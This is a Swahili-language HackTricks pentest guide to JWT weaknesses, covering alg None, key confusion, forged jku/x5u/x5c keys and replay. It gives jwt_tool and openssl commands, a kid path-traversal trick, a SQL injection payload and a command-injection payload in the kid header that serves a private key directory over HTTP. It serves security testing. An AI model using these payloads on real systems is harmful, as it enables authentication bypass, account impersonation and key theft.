# Madoa ya JWT (Vitambulisho vya Wavuti vya Json)
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** πŸ’¬ [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
Ikiwa una nia ya **kazi ya kuhack** na kuhack mambo yasiyohack - **tunakupa kazi!** (_ujuzi wa Kipolishi ulioandikwa na kuzungumzwa vizuri unahitajika_). {% embed url="https://www.stmcyber.com/careers" %} **Sehemu ya chapisho hili imetokana na chapisho zuri:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\ **Mwandishi wa zana kuu ya pentest JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool) ### **Mafanikio ya Haraka** Chambua [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) kwa mode `All Tests!` na subiri mistari ya kijani ```bash python3 jwt_tool.py -M at \ -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \ -rh "Authorization: Bearer eyJhbG..." ``` Ikiwa una bahati, zana itapata kesi ambapo programu ya wavuti haiangalii JWT kwa usahihi: ![](<../.gitbook/assets/image (935).png>) Kisha, unaweza kutafuta ombi katika proksi yako au kudump JWT iliyotumiwa kwa ombi hilo kwa kutumia zana ya jwt\_: ```bash python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291" ``` Unaweza pia kutumia [**Burp Extension SignSaboteur**](https://github.com/d0ge/sign-saboteur) kuzindua mashambulizi ya JWT kutoka Burp. ### Kuhariri data bila kubadilisha chochote Unaweza tu kuhariri data bila kugusa saini na kuangalia kama seva inathibitisha saini. Jaribu kubadilisha jina lako kuwa "admin" kama mfano. #### **Je, token inathibitishwa?** Kuwa na uhakika kama saini ya JWT inathibitishwa: * Ujumbe wa hitilafu unapendekeza uhakiki unaendelea; maelezo nyeti katika makosa ya kina yanapaswa kuchunguzwa. * Mabadiliko kwenye ukurasa uliorudishwa pia inaonyesha uhakiki. * Hakuna mabadiliko yanapendekeza hakuna uhakiki; hii ni wakati wa kujaribu kuhariri madai ya mzigo. ### Asili Ni muhimu kujua ikiwa token uliundwa upande wa seva au upande wa mteja kwa kuchunguza historia ya ombi la proksi. * Vitambulisho vilivyoonekana kwanza kutoka upande wa mteja vinapendekeza kwamba ufunguo unaweza kuwa umefichuliwa kwa nambari ya upande wa mteja, hivyo kuhitaji uchunguzi zaidi. * Vitambulisho vinavyoanzia upande wa seva vinathibitisha mchakato salama. ### Muda Angalia kama token inadumu zaidi ya masaa 24... labda haitamalizika. Ikiwa kuna uwanja wa "exp", hakikisha kama seva inashughulikia kwa usahihi. ### Kuvunja siri ya HMAC kwa nguvu [Tazama ukurasa huu.](../generic-methodologies-and-resources/brute-force.md#jwt) ### Badilisha algorithm kuwa None Weka algorithm uliotumika kuwa "None" na ondoa sehemu ya saini. Tumia wito wa Burp "JSON Web Token" kujaribu udhaifu huu na kubadilisha thamani tofauti ndani ya JWT (tuma ombi kwa Repeater na kwenye kichupo cha "JSON Web Token" unaweza kuhariri thamani za token. Unaweza pia kuchagua kuweka thamani ya uga wa "Alg" kuwa "None"). ### Badilisha algorithm RS256(asymmetric) kuwa HS256(symmetric) (CVE-2016-5431/CVE-2016-10555) Algorithm HS256 hutumia ufunguo wa siri kusaini na kuthibitisha kila ujumbe.\ Algorithm RS256 hutumia ufunguo wa kibinafsi kusaini ujumbe na kutumia ufunguo wa umma kwa uthibitisho. Ukibadilisha algorithm kutoka RS256 kwenda HS256, msimbo wa nyuma hutumia ufunguo wa umma kama ufunguo wa siri na kisha hutumia algorithm ya HS256 kuthibitisha saini. Kisha, kwa kutumia ufunguo wa umma na kubadilisha RS256 kuwa HS256 tunaweza kuunda saini halali. Unaweza kupata cheti cha seva ya wavuti inayotekeleza hii: ```bash openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well. openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem ``` ### Funguo ya umma mpya ndani ya kichwa Mshambuliaji anaingiza funguo mpya katika kichwa cha token na seva hutumia funguo hii mpya kuthibitisha saini (CVE-2018-0114). Hii inaweza kufanywa na kifaa cha "JSON Web Tokens" cha Burp.\ (Tuma ombi kwa Repeater, ndani ya kichupo cha JSON Web Token chagua "CVE-2018-0114" na tuma ombi). ### JWKS Uigaji Maagizo yanatoa maelezo ya njia ya kutathmini usalama wa JWT tokens, hasa wale wanaotumia dai la kichwa cha "jku". Dai hili linapaswa kuunganisha kwenye faili ya JWKS (JSON Web Key Set) ambayo ina funguo ya umma inayohitajika kwa uthibitisho wa token. * **Kutathmini Tokens na Kichwa cha "jku"**: * Thibitisha URL ya dai la "jku" ili kuhakikisha inaelekeza kwenye faili sahihi ya JWKS. * Badilisha thamani ya "jku" ya token kuongoza kuelekea huduma ya wavuti iliyojaliwa, kuruhusu uchunguzi wa trafiki. * **Kufuatilia Mwingiliano wa HTTP**: * Kufuatilia maombi ya HTTP kwenye URL uliyopendekeza kunadokeza majaribio ya seva kunasa funguo kutoka kwenye kiungo uliyotoa. * Wakati unatumia `jwt_tool` kwa mchakato huu, ni muhimu kusasisha faili ya `jwtconf.ini` na eneo lako binafsi la JWKS ili kurahisisha majaribio. * **Amri kwa `jwt_tool`**: * Tekeleza amri ifuatayo kusimuliza hali na `jwt_tool`: ```bash python3 jwt_tool.py JWT_HAPA -X s ``` ### Muhtasari wa Masuala ya Kid Dai la kichwa linaloweza kuchaguliwa linalojulikana kama `kid` hutumiwa kutambua funguo maalum, ambayo inakuwa muhimu hasa katika mazingira ambapo kuna funguo kadhaa kwa uthibitisho wa saini ya token. Dai hili husaidia katika kuchagua funguo sahihi kuthibitisha saini ya token. #### Kufichua Funguo kupitia "kid" Wakati dai la `kid` linapoonekana katika kichwa, inashauriwa kutafuta saraka ya wavuti kwa faili inayolingana au mabadiliko yake. Kwa mfano, ikiwa `"kid":"key/12345"` imeelezwa, faili _/key/12345_ na _/key/12345.pem_ inapaswa kutafutwa katika mzizi wa wavuti. #### Kuvuka Njia na "kid" Dai la `kid` linaweza pia kutumiwa kufaidika kwa kupitia mfumo wa faili, ikiruhusu uteuzi wa faili ya kupendelea. Ni rahisi kufanya majaribio ya uunganisho au kutekeleza mashambulizi ya Ombi la Upande wa Seva (SSRF) kwa kubadilisha thamani ya `kid` kulenga faili au huduma maalum. Kuharibu JWT kubadilisha thamani ya `kid` wakati unahifadhi saini ya asili inaweza kufikiwa kwa kutumia bendera ya `-T` katika jwt\_tool, kama inavyodhihirishwa hapa chini: ```bash python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" ``` Kwa kulenga faili zenye maudhui yanayoweza kutabirika, inawezekana kufanya JWT halali. Kwa mfano, faili ya `/proc/sys/kernel/randomize_va_space` katika mifumo ya Linux, inayojulikana kuwa na thamani **2**, inaweza kutumika katika parameter ya `kid` na **2** kama nenosiri la kisymmetri kwa ajili ya uundaji wa JWT. #### SQL Injection kupitia "kid" Ikiwa maudhui ya dai la `kid` yanatumika kupata nenosiri kutoka kwenye database, SQL injection inaweza kurahisishwa kwa kubadilisha mzigo wa `kid`. Mzigo wa mfano unaotumia SQL injection kubadilisha mchakato wa kutia saini JWT ni: `non-existent-index' UNION SELECT 'ATTACKER';-- -` Mabadiliko haya yanalazimisha matumizi ya ufunguo wa siri uliojulikana, `ATTACKER`, kwa ajili ya kutia saini JWT. #### OS Injection kupitia "kid" Hali ambapo parameter ya `kid` inabainisha njia ya faili inayotumiwa ndani ya muktadha wa utekelezaji wa amri inaweza kusababisha vulnerability ya Remote Code Execution (RCE). Kwa kuingiza amri ndani ya parameter ya `kid`, inawezekana kufichua ufunguo binafsi. Mzigo wa mfano wa kufikia RCE na kufichua ufunguo ni: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&` ### x5u na jku #### jku jku inasimama kwa **JWK Set URL**.\ Ikiwa token inatumia dai la β€œ**jku**” katika **Header** basi **angalia URL iliyotolewa**. Hii inapaswa kuashiria kwenye URL inayohifadhi faili ya JWKS inayoshikilia Ufunguo wa Umma kwa ajili ya kuthibitisha token. Badilisha token ili kuelekeza thamani ya jku kwenye huduma ya wavuti unayoweza kufuatilia trafiki yake. Kwanza unahitaji kuunda cheti kipya na ufunguo mpya wa faragha na wa umma. ```bash openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key ``` Kisha unaweza kutumia kwa mfano [**jwt.io**](https://jwt.io) kuunda JWT mpya na **funguo za umma na binafsi zilizoundwa na kuelekeza parameter jku kwa cheti kilichoundwa.** Ili kuunda cheti cha jku halali unaweza kupakua kimoja cha asili na kubadilisha parameta zinazohitajika. Unaweza kupata parameta "e" na "n" kutoka kwa cheti cha umma kwa kutumia: ```bash from Crypto.PublicKey import RSA fp = open("publickey.crt", "r") key = RSA.importKey(fp.read()) fp.close() print("n:", hex(key.n)) print("e:", hex(key.e)) ``` #### x5u X.509 URL. URI inayoashiria seti ya vyeti vya umma vya X.509 (muundo wa vyeti wa kawaida) vilivyohifadhiwa kwa fomati ya PEM. Cheti cha kwanza katika seti lazima kiwe kile kilichotumika kusaini JWT hii. Vyeti vya kufuatia kila kimoja husaini cheti kilichotangulia, hivyo kukamilisha mnyororo wa vyeti. X.509 imedefiniwa katika RFC 52807. Usalama wa usafirishaji unahitajika kuhamisha vyeti. Jaribu **kubadilisha kichwa hiki kuwa URL chini ya udhibiti wako** na angalia ikiwa ombi lolote limepokelewa. Katika kesi hiyo, **unaweza kuharibu JWT**. Ili kufanya alama mpya kwa kutumia cheti lililodhibitiwa na wewe, unahitaji kuunda cheti na kuchimba funguo za umma na za kibinafsi: ```bash openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem ``` Kisha unaweza kutumia kwa mfano [**jwt.io**](https://jwt.io) kuunda JWT mpya na **funguo za umma na binafsi zilizoundwa na kuelekeza parameter x5u kwa cheti .crt kilichoundwa.** ![](<../.gitbook/assets/image (956).png>) Unaweza pia kutumia udhaifu huu **kwa SSRFs** zote mbili. #### x5c Parameter huu unaweza kuwa na **cheti katika base64**: ![](<../.gitbook/assets/image (1119).png>) Ikiwa mshambuliaji **anaunda cheti cha kujisaini mwenyewe** na kuunda token bandia kwa kutumia funguo ya kibinafsi inayofanana na kubadilisha thamani ya parameter "x5c" na cheti lililoundwa hivi karibuni na kurekebisha parameta nyingine, yaani n, e na x5t basi kimsingi token bandia itakubaliwa na seva. ```bash openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt openssl x509 -in attacker.crt -text ``` ### Funguo ya Umma Iliyowekwa (CVE-2018-0114) Ikiwa JWT ina funguo ya umma iliyojumuishwa kama katika hali ifuatayo: ![](<../.gitbook/assets/image (624).png>) Kutumia skripti ifuatayo ya nodejs ni rahisi kuzalisha funguo ya umma kutoka kwa data hiyo: ```bash const NodeRSA = require('node-rsa'); const fs = require('fs'); n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​; e = "AQAB"; const key = new NodeRSA(); var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public'); console.log(importedKey.exportKey("public")); ``` Niwezekana kuzalisha ufunguo mpya wa faragha / wa umma, kuweka ufunguo wa umma mpya ndani ya ishara na kutumia kuunda saini mpya: ```bash openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key ``` Unaweza kupata "n" na "e" kwa kutumia script hii ya nodejs: ```bash const NodeRSA = require('node-rsa'); const fs = require('fs'); keyPair = fs.readFileSync("keypair.pem"); const key = new NodeRSA(keyPair); const publicComponents = key.exportKey('components-public'); console.log('Parameter n: ', publicComponents.n.toString("hex")); console.log('Parameter e: ', publicComponents.e.toString(16)); ``` ### ES256: Kufunua ufunguo wa kibinafsi na nonce sawa Ikiwa baadhi ya programu zinatumia ES256 na kutumia nonce sawa kuzalisha jwts mbili, ufunguo wa kibinafsi unaweza kurejeshwa. Hapa kuna mfano: [ECDSA: Kufunua ufunguo wa kibinafsi, ikiwa nonce sawa imetumika (na SECP256k1)](https://asecuritysite.com/encryption/ecd5) ### JTI (JWT ID) Madai ya JTI (JWT ID) hutoa kitambulisho cha kipekee kwa Token ya JWT. Inaweza kutumika kuzuia token kutorejeshwa.\ Hata hivyo, fikiria hali ambapo urefu wa maksimum wa kitambulisho ni 4 (0001-9999). Ombi 0001 na 10001 vitatumia kitambulisho kimoja. Kwa hivyo ikiwa seva ya nyuma inaongeza kitambulisho kwa kila ombi unaweza kutumia hili kwa **kurejelea ombi** (ukihitaji kutuma maombi 10000 kati ya kila kurejelea mafanikio). ### Madai yaliyosajiliwa ya JWT {% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %} ### Mashambulizi Mengine **Mashambulizi ya Kurejesha Kati ya Huduma** Imeonekana kwamba baadhi ya programu za wavuti hutegemea huduma ya JWT iliyoaminika kwa kuzalisha na kusimamia vibali vyao. Kuna visa ambapo kibali, kilichozalishwa kwa mteja mmoja na huduma ya JWT, kilikubaliwa na mteja mwingine wa huduma hiyo hiyo ya JWT. Ikiwa utoaji au upya wa JWT kupitia huduma ya mtu wa tatu unazingatiwa, uwezekano wa kujiandikisha kwa akaunti kwenye mteja mwingine wa huduma hiyo kwa kutumia jina la mtumiaji/barua pepe sawa unapaswa kuchunguzwa. Jaribio linapaswa kufanywa kurejelea kibali kilichopatikana katika ombi kwa lengo la kuona ikiwa kitakubaliwa. * Shida kuu inaweza kuashiriwa na kukubaliwa kwa kibali chako, ikiruhusu uigaji wa akaunti yoyote ya mtumiaji. Hata hivyo, inapaswa kuzingatiwa kwamba idhini ya majaribio zaidi inaweza kuhitajika ikiwa kujiandikisha kwenye programu ya mtu wa tatu, kwani hii inaweza kuingia eneo la kijivu kisheria. **Uchunguzi wa Muda wa Vibali** Uchunguzi wa muda wa kibali unafanywa kwa kutumia madai ya "exp" Payload. Kwa kuwa JWT mara nyingi hutumiwa bila habari ya kikao, kushughulikia kwa uangalifu kunahitajika. Katika hali nyingi, kukamata na kurejelea JWT ya mtumiaji mwingine inaweza kuwezesha udanganyifu wa mtumiaji huyo. RFC ya JWT inapendekeza kupunguza mashambulizi ya kurejelea ya JWT kwa kutumia madai ya "exp" kuweka muda wa kumalizika kwa kibali. Zaidi ya hayo, utekelezaji wa uchunguzi unaofaa na maombi kuhakikisha usindikaji wa thamani hii na kukataa vibali vilivyomalizika ni muhimu. Ikiwa kibali kina madai ya "exp" na muda wa majaribio unaruhusu, kuhifadhi kibali na kurejelea baada ya muda wa kumalizika kunashauriwa. Yaliyomo ya kibali, ikiwa ni pamoja na uchambuzi wa alama za wakati na uchunguzi wa kumalizika (alama za wakati katika UTC), yanaweza kusomwa kwa kutumia bendera ya -R ya jwt\_tool. * Hatari ya usalama inaweza kuwepo ikiwa programu bado inathibitisha kibali, kwani inaweza kuashiria kwamba kibali hakitaweza kumalizika. ### Vyombo {% embed url="https://github.com/ticarpi/jwt_tool" %}
Ikiwa una nia katika **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunahitaji wewe!** (_ujuzi wa Kipolishi wa kuandika na kuzungumza unahitajika_). {% embed url="https://www.stmcyber.com/careers" %}
Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** πŸ’¬ [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.